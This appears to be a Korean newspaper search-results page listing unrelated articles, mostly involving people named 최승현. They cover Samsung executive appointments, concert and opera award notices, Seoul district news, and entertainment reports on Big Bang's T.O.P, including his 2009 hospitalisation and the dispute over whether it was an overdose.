고영창 김태환 이종성 황해선△상무 강형구 김유상 성기재 이상경 정현준 천병호<삼성카드> ◇경영임원△부사장 신응환△상무 권대호 피정배 한승진<삼성증권> ◇경영임원△상무 이기훈 이왕익 장석훈◇전문임원△상무대우 김학주<삼성물산> ◇경영임원△부사장 이동휘△전무 육현표△상무 김용수<삼성물산(상사)> ◇경영임원△부사장 원세현△전무 추교인△상무 김권섭 이용락 장영인 정기훈◇전문임원△상무대우 최기형<삼성물산(건설)> ◇경영임원△부사장 이언기△전무 김준태 김희원 배동기 황한석△상무 강수돈 김남포 김재호 박덕규 이병수 황대성◇전문임원△상무대우 김승민 김정민<삼성엔지니어링> ◇경영임원△상무 성연기 이현성 정예모 홍태웅◇연구임원△전무급 이석호<제일모직> ◇경영임원 △전무 김동현 김재열 유석준 전철환△상무 권영기 김용태 김일주 정상현◇연구임원△전무급 김중인△상무급 이영준<삼성에버랜드> ◇경영임원△전무 이건종 이우석△상무 권영배 오상대<호텔신라> ◇경영임원△전무 김정환 이부진 한인규<제일기획> ◇경영임원△전무 김천수△상무 김도권 윤백진<에스원> ◇경영임원△전무 김관수△상무 남맹모 신광철 최수환<삼성경제연구소> ◇경영임원△전무 신태균△상무 유환철◇연구임원△전무급 장상수 홍순영△상무급 권순우<일본본사> ◇경영임원△상무 이승호<중국본사> ◇경영임원△전무 이석명△상무 류재윤 ■삼성투신운용 ◇전입△전무 김성배 ■한국동서발전 ◇상임이사 <본부장> △기획관리 안덕윤△기술 임한규 ■한국경제신문사 △한경아카데미원장 겸 글로벌포럼사무국장 권영설 (2.1일자)
  • [공연플러스]

    ●‘김남윤과 150인의 바이올리니스트’ 공연이 23일 오후 8시 예술의전당 콘서트홀에서 열린다.김남윤 한국예술종합학교 음악원장과 제자들이 무대에 올라 하차투리안 ‘사브레 댄스’ 등 클래식과 ‘대니 보이’,‘마이 웨이’ 등 팝송,크리스마스 캐럴을 들려준다.올해 프랑스 롱 티보 국제콩쿠르 우승자 신현수,피아니스트 강충모가 협연한다.2만∼8만원. (02)580-1300 ●뮤지컬 배우 겸 싱어송라이터 송용진과 이영미가 1월4일 대학로 SM 스타홀에서 콘서트 ‘해적’을 연다.최근 독립음반사 ‘해적’을 설립하고 첫 솔로 앨범을 낸 송용진과 내년 해적에서 음반을 발표하는 이영미가 함께 꾸민다.송용진은 1997년부터 록 밴드에서 보컬로도 활약해 왔다. 이영미는 1995년 대학가요제에서 금상을 받은 가수 출신 뮤지컬배우다.3만~4만원(02)2051-3307. ●18일 서울 프레스센터에서 열린 제1회 대한민국 오페라대상 시상식에서 소프라노 이은경과 바리톤 고성현이 주역상을 수상했다.남녀 신인상은 바리톤 송기창과 메조소프라노 최승현이 각각 차지했다.대상없는 금상은 솔오페라단의 ‘아이다’에게 돌아갔다. 부문별 수상자는 ▲연출상 장수동 ▲음악상 이승선 ▲예술상 이학순 ▲김자경상 김영미 ▲특별상 오현명 ▲특별공로상 황병덕 ▲기업특별상 예치과그룹 등 7개 기업이다.대한민국 오페라대상은 오페라계의 활성화를 위해 한국 오페라단연합회,김자경오페라단 등 민간 오페라단이 주축이 돼 마련한 행사이다.
  • 빅뱅 탑 ‘불편한 진실’

    인기그룹 빅뱅의 탑(21·본명 최승현)이 입원한 서울 흑석동 중앙대병원은 6일 “탑의 입원 이유는 과로와 수면부족으로, 수액치료 등을 통해 회복됐다.”고 밝혔다. 장세경 병원장은 우울증 약을 과다복용했다는 본지 보도(11월6일자15면)에 대해 “약물을 복용했다는 의료기록은 없다.”고 말했다. 그는 탑의 약물 복용에 따른 위세척 시술 여부에 대해서는 “잘 모르겠다. 안 한 것 같다.”고 했다가 “안 했다.”고 말을 바꿨다. 또 진료기록을 삭제했다는 지적에 대해 “삭제는 법적으로 문제가 된다.”고 말했다. 병원과 소속사인 YG엔터테인먼트의 미숙한 대응으로 의혹이 더욱 커졌다는 지적도 있다. 탑이 스스로 목숨을 끊으려고 했던 게 아니고, 약물 과다복용이 아니었다면 소속사와 병원 쪽은 입원 당일 과로라는 점을 밝혔어야 했지만 함구했다.뒤늦게 주치의가 나와 “잠을 많이 잤고, 의식은 어제 오후에 깼다.”고 만 간단하게 밝혔다.탑은 이날 오후 퇴원했다.한편 소속사는 이날 오후 보도자료를 내고 “안정과 휴식을 취하면 활동에 지장은 없다.”면서 “괴소문에 유감을 표하며 발 빠르게 대처하지 못한 점을 사과한다.”고 밝혔다. 장형우기자 zangzak@seoul.co.kr
  • [단독]빅뱅 ‘탑’ 약물중독

    [단독]빅뱅 ‘탑’ 약물중독

    인기그룹 빅뱅의 탑(21·본명 최승현)이 약물중독으로 병원에 실려갔다. 5일 서울 중앙대병원 등에 따르면 탑은 이날 오전 2시쯤 운동을 마치고 마포구 합정동 자택으로 들어간 뒤 우울증 치료에 쓰이는 ‘항우울제’ 한달치를 한꺼번에 복용했다 이날 오전 10시쯤 가족에게 발견돼 병원으로 후송됐다. 응급처치를 받은 탑은 현재 회복세를 보이고 있는 것으로 알려졌다. 병원 관계자는 “본인이 한때 어지럼증을 호소했지만 호흡 등 건강상태는 양호해 응급실에서 일반 병실로 옮겼다.”면서 “생명에는 전혀 지장이 없는 상태”라고 말했다. 이날 가족들은 병원에서 “탑이 아침에 일어나지 않아 방에 들어가 보니 한달치 우울증 약이 없어진 채로 발견돼 곧바로 신고했다.”고 말한 것으로 알려졌다. 하지만 병원 측이 진료기록에서 한달치의 항우울제가 없어졌다는 사실을 이날 오후 늦게 삭제해 자살 시도를 은폐했다는 의혹이 제기됐다. 병원 관계자는 “그런 일 없다.”고 부인했다. 그러나 항우울제를 한꺼번에 복용했다는 사실은 진료기록에 포함돼 있었다. 탑은 평소 우울증에 시달려 약을 복용해 왔던 것으로 전해졌다. 탑이 복용했던 항우울제는 독성이 강해 병원에서는 한달치 이상 처방을 내려주지 않는 것으로 알려졌다. 탑의 기획사인 YG엔터테인먼트 관계자는 “감기약을 먹고 과음을 해 병원에 실려간 것일 뿐”이라고 밝혔다. 이경원기자 leekw@seoul.co.kr
  • [Seoul In]

    중구(구청장 정동일) 중구보건소는 다음달까지 ‘지역사회 건강면접 조사’를 실시한다. 중구민의 건강 행태를 다각도로 측정해 보건통계를 산출하는 것이다. 조사 결과로 확인되는 건강지표는 ▲중구 주민의 건강생활 실천 행태(금연·절주·운동·과체중·비만·영양) ▲정신보건, 구강보건, 모자보건, 만성질환관리(고혈압·당뇨·뇌혈관질환·관절염·허혈성 심장질환) 등이다. 중구보건소 2250-4413. 송파구(구청장 김영순) 2년 연속 ‘살기 좋은 10대 도시’로 선정됐다. 살기 좋은 10대 도시는 성인 남녀 2000여명을 대상으로 생활, 보건·복지, 교통·환경, 안전관리, 문화·레포츠 등 5개 항목별 거주 만족도를 조사한 것이다. 송파구와 함께 서울에서는 강남구와 서초구가 10대 도시 안에 들었다. 시상식은 19일 오후 2시 서울 프레스센터에서 열린다. 기획예산과 410-3315. 강남구(구청장 맹정주) 19∼20일 홍천 대명 비발디파크에서 복지 관련 종사자들을 대상으로 한 연수회를 갖는다. 연수회에서 구는 지역 복지증진에 기여한 유공자 8명을 선발해 표창패를 수여하고, 구 복지실무협의체에서 자체 제작한 ‘복지관련 종사자 위험관리 매뉴얼’을 발표할 예정이다. 복지정책과 2104-1747. 서초구(구청장 박성중) 19일 오후 7시30분 서초구민회관에서 김자경오페라단을 초청해 오페라 ‘카르멘’ 갈라 콘서트를 개최한다. 제616회 서초금요문화마당으로 열리는 이번 공연은 오페라의 대명사 ‘카르멘’의 레퍼터리를 즐길 수 있는 기회다. 소프라노 윤유정, 메조소프라노 최승현, 테너 김달진, 바리톤 송기창과 정지철, 피아노에 신수연이 출연한다. 선착순 800명 무료입장 가능하다. 문화행정과 570-6809. 동작구(구청장 김우중) 일상 생활에서 느끼는 민원 불편사항을 보다 신속·정확하게 처리하기 위해 ‘스마트(SMART) 기동대’를 운영하고 있다. 순찰 기능을 담당하는 조사 순찰팀과 처리를 담당하는 6개 기동반(클린기동대, 가로녹지반 등)을 유기적으로 연계시킨다. 감사담당관 820-1471. 중랑구(구청장 문병권) 일상생활의 다양한 불편사항을 인터넷으로 신고하면 신속하게 해결하는 ‘시민불편살피미’ 제도를 유도하기 위해 홍보중이다. 지난달 말 구청 로비와 지하철 중화역에서 시민불편살피미 신고방법 안내 시연회를 한 데 이어 이달 말까지 관련 설문조사를 진행해 주민의 의견을 듣는 기회를 갖기로 했다. 감사담당관 490-3472. 서대문구(구청장 현동훈) 20일 10시부터 구청 6층 대강당에서 행복한 어머니 학교 ‘소중한 우리 아이, 건강한 성 지켜주기’ 교육을 한다.‘푸른 아우성’의 구성애 소장이 강사로 나서 가정에서 직접 실천할 수 있는 건강한 성교육, 아이가 성에 대해 느끼는 다양한 문제에 대한 해결책을 제시한다. 강의는 무료로 진행된다. 가정복지과 330-1292.
  • 관훈클럽 저술출판 지원대상 선정

    관훈클럽 저술출판 지원대상 선정

    관훈클럽신영연구기금(이사장 문창극)은 4일 올 하반기 언론인 저술출판지원 대상자로 이호준 서울신문 뉴미디어국장을 비롯해 모두 10명을 선정했다고 밝혔다. 다음은 대상자 명단. ▲이기환 경향신문 문화부 선임기자·‘비무장지대 일원 문화유산기행’ ▲여규병 동아일보 미디어연구소 연구개발팀장·‘말글 돋보기’ ▲이호준 서울신문 뉴미디어국장 겸 비상임논설위원·‘이 땅위에서 사라져가는 것들’ ▲최승현 조선일보 엔터테인먼트부 기자·‘한국 록의 아침을 열다’ ▲유권하 중앙일보 기획전략실 부장대우·‘독일·북한 47년 이산가족사’ ▲정재용 KBS 시사보도팀 시사기획 쌈 기자·‘슬픈 금메달’ ▲류종현 MBC 영상취재부 부장·‘디지털방송 콘텐츠의 유통과 저작권’ ▲박창희 국제신문 기획탐사부장·‘거대한 상실-을숙도 30년 변화 탐사’ ▲대한언론인회 대한언론·‘대한언론인회 회보’ ▲언론인 남중구 추모집 발간 위원회·‘언론인 남중구 추모집’.
  • 김민희 사로잡은 톱모델 이수혁은 누구?

    김민희 사로잡은 톱모델 이수혁은 누구?

    탤런트 김민희(27)의 마음을 뺏은 이수혁(21)은 누굴까 . 그는 국내 유명 디자이너와 명품 브랜드로부터 끊임없이 러브콜을 받고 있는 톱모델이다. 데뷔한지 이제 1년이 조금 넘었지만 개성있는 외모와 중성적인 이미지로 단숨에 주목을 받았다. 이수혁은 대중에게는 잘 알려지지 않았지만 모델계에서는 손꼽히는 톱모델이다. 국내 유명 디자이너들의 패션쇼 메인 모델로 여러번 참여했다. 뿐만 아니라 각종 패션지 화보를 통해 특유의 중성적인 매력을 발산시켰다. 방송 프로그램과 영화, CF를 통해서도 얼굴을 알렸다. 케이블 채널 동아TV에서 방송중인 ‘세븐 모델즈 스페셜 에디션’에 출연해 스타일리쉬한 모습으로 많은 팬을 확보했다. 영화 ‘투사부일체’와 모 통신업체 CF에 출연해 연기자로서 경력을 쌓았다. 이수혁은 아이돌그룹 ‘빅뱅’ 멤버와의 친분관계 때문에 10대 팬들 사이에서 화제가 되기도 했다. 그 중 G-드래곤(권지용)과 탑(최승현)과는 남다른 우정을 나누고 있는 것으로 알려졌다. 세계 무대에서 활발한 활동을 하고 있는 모델 김다울과도 각별한 사이다. 패션 관계자는 “이수혁은 184cm의 큰 키에 갈비뼈가 휜히 드러날 정도로 깡말랐음에도 불구하고 보기 드물게 균형잡힌 몸매를 갖췄다”면서 “현재 세계 패션계가 요구하는 모델상과 일치한다. 앞으로 세계모델들과 견주어도 손색이 없을 것으로 예상된다”고 평했다. 기사제휴=스포츠서울 송은주·나지연기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 빅뱅 승리 “이름이 ‘소닉’될 뻔 했어요”

    빅뱅 승리 “이름이 ‘소닉’될 뻔 했어요”

    그룹 빅뱅의 승리(본명 이승현·16)가 당초 활동명이 ‘소닉’이 될 뻔 했던 사연을 털어놨다. 승리는 8일 발매된 빅뱅의 세번째 미니 앨범 ‘Stand Up’(스탠드 업) 프레스 파티에서 “활동명이 ‘승리’가 아닌 만화 캐릭터 ‘소닉’이 될 뻔 했다.”고 고백했다. 익히 알려진 바와 같이 빅뱅 멤버 탑과 승리의 본명은 각각 최승현과 이승현으로 둘 다 ‘승현’이다. “팀이 구성되고 연습을 시작할 때쯤 같은 이름의 멤버가 있다는 얘기를 듣고 깜짝 놀랐어요. ‘승현아’ 하면 탑 형과 제가 동시에 고개를 돌렸죠.(웃음) 이후 구분을 위해서 탑 형을 큰 승현, 저는 작은 승현으로 부르셨어요. 보통 줄임말로 ‘큰승’, ‘작승’ 이렇게 불렸고요.” 2006년 8월 다섯 명의 멤버가 확정되고 데뷔를 앞두게 되자 본명이 아닌 활동명을 짓게 됐다. “양현석 대표님이 직접 이름을 지어주셨는데 제 경우 ‘소닉’이 가장 강력한 후보였어요. 제가 소닉처럼 ‘날렵하고 날쌘’ 이미지를 가지고 있대요. 제 춤과 접목해 보신 거 같아요. 외모도 조금 비슷한가요?(웃음)” 실제로 짙은 속눈썹에 장난기 가득한 표정은 사뭇 소닉을 연상케 했다. “지금은 제 이름 ‘승리’가 마음에 들어요. ‘빅뱅 안에서 승승장구 하라’는 뜻으로 지어주신 이름인데 왠지 이름 의미대로 되어가는 듯 해서 너무 뿌듯해요.” 승리는 처음으로 자신의 이름이 불리던 날의 기억을 떠올리며 감회를 전했다. “오랜 연습 기간을 거친 태양·지 드래곤 형의 경우 늘 다정하게 이름을 불러 주셨어요. 하지만 나머지 멤버들은 호칭이 빠지는 경우가 잦았거든요. 정식 데뷔를 앞두고 내 이름을 불러 주셨는데 존재감을 찾은 느낌이라고 할까요. 그 때의 짠한 마음이 잊혀지지가 않아요.” 초심을 소중히 기억하고 있는 승리는 “데뷔한지 2년이 돼가지만 잘 실감나지 않는다.”며 너털 웃음을 지어 보였다. 승리는 자신을 일컬어 ‘그저 평범하게 춤을 좋아했던 아이’라고 표현했다. “중 1때 처음 춤의 매력에 빠지게 됐는데 열정을 갖고 할 수 있는 일을 일찍 발견했다는 점에서 행운아라고 생각해요. 춤 추고 노래를 부를 때면 살아있다는 느낌을 받으니까요.” 한편 빅뱅의 막내지만 실력만큼은 뒤지지 않는다는 평을 받고 있는 승리는 지난 한달여간 국내와 일본에서 뮤지컬 배우로 활약하며 출연작 ‘소나기’를 올 상반기 최고의 흥행 작품으로 올려두는 기염을 토했다. 승리는 “뮤지컬 배우는 오래전 부터 꿈꿔왔던 도전”이라고 밝히며 “많은 점을 배울 수 있었던 값진 경험이었다.”고 회상했다. 이어 “이를 토대로 빅뱅 무대에서 더욱 업그레이드 된 모습을 보여 드리겠다.”는 다부진 각오도 잊지 않았다. 빅뱅은 10일 SBS ‘인기가요’를 통해 타이틀 곡 ‘하루 하루’의 첫 선을 보이는 컴백 무대를 갖는다. 사진 출처 = 방송 화면캡쳐, YG 엔터테인먼트 서울신문 NTN 최정주 기자 joojoo@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 지드래곤 vs 탑, ‘주먹 격투신’ 뮤비 화제

    지드래곤 vs 탑, ‘주먹 격투신’ 뮤비 화제

    빅뱅의 새 타이틀 곡 ‘하루하루’의 뮤직 비디오에서 G-드래곤(본명 권지용·20)과 탑(본명 최승현·21)이 뜨거운 결투신을 벌여 눈길을 끈다. 8일 미니 3집 ‘stand up’ 앨범 발매와 함께 공개된 ‘하루 하루’ 뮤직 비디오에서 G-드래곤과 탑은 한 여자를 사이에 두고 삼각관계로 인해 주먹이 오고가는 강도 높은 액션신을 선보였다. ’하루 하루’ 뮤직 비디오는 탑이 박민영의 얼굴을 어루만지는 장면을 G-드래곤이 목격하는 장면에서 부터 시작된다. 믿었던 연인과 친구에 대한 배신감을 억누르지 못한 G-드래곤은 탑에게 다가가 주먹을 날리게 되고 곧 격렬한 몸싸움 장면으로 이어진다. 뮤직비디오 말미에는 시한부 판정을 받은 박민영이 연인인 G-드래곤이 자신의 죽음을 눈치채지 않게 하기 위해 탑에게 가짜 연인 행세를 부탁했다는 사실이 밝혀지고 G-드래곤의 절규가 그려진다. 탑은 7일 뮤직 비디오를 첫 공개하며 진행된 앨범 발매 인터뷰에서 “격투신 촬영은 색다른 연기 경험이었다.”며 “실제로 멤버들끼리 싸운 적이 한번도 없어서 다소 어색했다. 과격한 액션인데도 왠지 동네 꼬마애들이 싸우는 듯한 느낌을 지울 수 없어 촬영 내내 웃음을 참지 못했다.”고 현장 분위기를 전했다. G-드래곤은 “사실 몸싸움을 벌이는 우리 보다 말리는 태양, 승리, 대성 모습에 더 웃음이 났다.”며 “특히 승리는 탑을 잡는 역할을 맡았는데 탑이 연기에 몰입하자 겁을 먹고 얼굴을 뒤로 빼는 등 몸을 사리는 모습을 보였다.”고 폭로해 좌중을 폭소케 했다. 한편 빅뱅은 오는 10일 SBS ‘인기가요’를 통해 컴백 무대를 갖는다. 빅뱅은 이날 부대에서 타이틀 곡 ‘하루하루’를 비롯해 3집 수록곡인 ‘인트로’와 ‘오 마이프렌드(Oh my friend) 등 총 세 곡을 부르며 화려한 신고식을 치룰 예정이다. 사진=빅뱅 ‘하루 하루’ 뮤직비디오 캡쳐 서울신문 NTN 최정주 기자 joojoo@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 탑ㆍ신민아 열애설에 양 소속사 모두 부인

    탑ㆍ신민아 열애설에 양 소속사 모두 부인

    인기그룹 빅뱅의 멤버 탑(본명 최승현)과 연기자 신민아의 열애설이 스포츠서울닷컴 보도를 통해 전해진 가운데 열애 사실에 대해 양 소속사 모두 부인하고 나섰다. 빅뱅 소속사 YG엔터테인먼트 측은 2일 오전 서울신문NTN과의 전화 인터뷰에서 “탑의 누나와 신민아가 친한 사이라 두 사람이 아는 것은 맞다.”며 “하지만 사귀는 사이인지는 확인된 바 없다.”며 두 사람의 열애 사실에 대해 모호한 입장을 전했다. 이 관계자는 “탑이 새 앨범을 녹음 중이라 새벽에 귀가해 현재 연락이 되지 않고 있다. 확인 되는 대로 공식 입장을 전하겠다.”고 덧붙였다. 신민아 소속사 스타엠 엔터테인먼트 관계자도 “두 사람이 사귀는 것은 알지 못한다.”고 전해 탑과 신민아의 열애 사실을 부정했다. 한편 스포츠서울닷컴측은 “탑과 신민아가 탑의 누나 최씨의 소개로 자연스럽게 만나오다 작년 12월부터 본격적인 연애중”이라며 두 사람의 열애사실에 대해 보도했다. 사진 = YG엔터테인먼트 / 스타엠 엔터테인먼트 서울신문NTN 김경민 기자 star@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
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